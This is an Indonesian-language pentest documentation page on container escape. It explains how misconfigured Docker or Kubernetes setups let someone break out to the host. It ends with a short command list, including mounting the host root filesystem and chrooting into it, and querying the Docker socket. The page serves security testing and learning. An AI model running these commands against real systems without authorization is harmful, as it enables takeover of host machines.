---
title: Container Escape
description: "# Container Escape Container escape adalah teknik untuk keluar dari lingkungan container dan mendapatkan akses ke host yang menjalankannya. Celah ini terjadi ketika konfigurasi container memberikan permission berlebihan, seperti privileged mode, volume mounting yang tidak aman, atau akses langsung ke…"
url: "https://csix.javanovate.org/docs/container-escape/"
updated: "2025-12-12"
category: Pentest / Priviledge Escalation
---

# Container Escape

# Container Escape

Container escape adalah teknik untuk keluar dari lingkungan container dan mendapatkan akses ke host yang menjalankannya. Celah ini terjadi ketika konfigurasi container memberikan permission berlebihan, seperti privileged mode, volume mounting yang tidak aman, atau akses langsung ke runtime API. Dengan memanfaatkan kondisi ini, pentester dapat menjalankan perintah di host, memodifikasi file, atau memperoleh kontrol penuh terhadap node.

Teknik container escape penting dalam pengujian lingkungan berbasis Docker, Kubernetes, atau container runtime lain. Walaupun container dirancang untuk isolasi, konfigurasi yang salah dapat membuatnya setara dengan akses langsung ke mesin host.

```bash
 docker ps -a
 docker inspect <container>
 docker exec -it <container> /bin/bash
 cat /proc/1/cgroup
 docker run -v /:/host -it alpine chroot /host /bin/sh
 curl --unix-socket /run/docker.sock http://localhost/containers/json
 kubectl get pods
 kubectl exec -it <pod> -- sh
 ```
